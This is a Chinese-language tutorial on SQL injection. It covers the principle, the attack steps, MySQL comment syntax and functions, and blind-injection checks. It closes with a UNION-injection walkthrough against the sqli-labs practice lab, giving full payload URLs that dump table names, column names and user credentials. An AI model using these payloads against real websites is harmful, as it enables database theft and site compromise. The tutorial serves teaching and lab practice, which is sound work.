sql注入(一)
一:sql注入原理
当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。
二:危害
- 窃取数据库信息。
- 写入webshell获取网站权限。
三:sql注入流程
- 寻找传参页面
- 判断是否存在注入点
- 判断字段的数量
- 判断字段回显的位置
- 查找数据库名
- 查找表名
- 查找字段名
- 查找字段内容
- 找后台登录
四:常见符号/函数/语句归类
注释符
#url 编码23% 单行注释在URL种#表示锚点,也就是hash路由,带上#不会请求后端路由,而是刷新前端路由
-- x 单行注释x表示任意字符,这里表示有一个空格
/**/ 内联注释
常见运算符
&& 同 and
! 同 not
^ 同 xor
\ 转义符
~ 一元比特反转
+ 加,可替代空格
常用函数
user() 获取当前操作的用户名,同session_user(),current_user()有时也用sysytem_user()
version() 获取当前数据库版本信息
database() 获取当前数据库名称
@@datadir 获取数据库路径
@@hostname 获取安装MYSQL的计算机名称
截取字符串常用的函数
mid(str,pos,length) 对字符串str,自pos位开始截取,截取长度为length
substr(str,start,length) 对指定字符串进行截取,为substring的简版
l left(a,b) 表示从数据库名左侧截取1位
ord函数是返回字符的ASSCI码,常和截取字符函数一起使用
ord(substr(database(),1,1)) > 114 判断数据库名的第一个字符的ASSCI码是否大于114
ord()函数同assci()函数都是返回字符串的assci码值
concat()将多个字符合并成一个字符串
concat_ws() 简单理解为带分隔符的连接字符串
group_concat()返回一个字符串结果,该结果由分组中的值连接而成
五:注入手法分类
UNION联合注入
MYSQL5.0以上版本利用系统表information_schema查找数据;常利用的表有schemata tables columns
1.判断是否存在注入点,这里以sqli-labs为例,字符型可以使用特殊字符' ," ,'), ")进行判断,数字型可以使用 and 1=1 , and1=2等判断,盲注可以使用sleep()关键字看页面响应时间进行判断。
2.order by(排序) group by(分组) 判断字段的数量;
3 union select 判断字段可利用的位置,例如用1,2,3,4,5占位,union select 1,2,3,4,5;注意的是union前后执行的select语句查询的字段数,类型需相同。
4.查数据库名,在可利用的位置上执行select database()
5.查表名例如:group_concat(table_name) from information_schema.tables where table_schema=database();
6.查字段名:group-concat(column_name) from information_schema.columns where table_schema=database() and table_name="表名";
7.查具体的字段值: roup-concat(column_name) from "表名";
简单的以sqli-labs靶场为例
1.判断是否存在注入点
2.判断字段数量,根据页面返回的信息判断存在3个字段
3.判断字段可利用位置
4.查数据库名
5.查表名http://43.140.200.200/sqli-labs/Less-1/?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+
6.查字段名(查找users表种的字段)http://43.140.200.200/sqli-labs/Less-1/?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"--+
7.查具体的字段值http://43.140.200.200/sqli-labs/Less-1/?id=-1' union select 1,database(),group_concat(id,username,password) from users --+
8.查出的字段值用户名和密码难区分,可以利用concat_ws()调整回显的字符串格式,例如concat_ws(0x7e,id,username,password),0x7e十六进制代表~符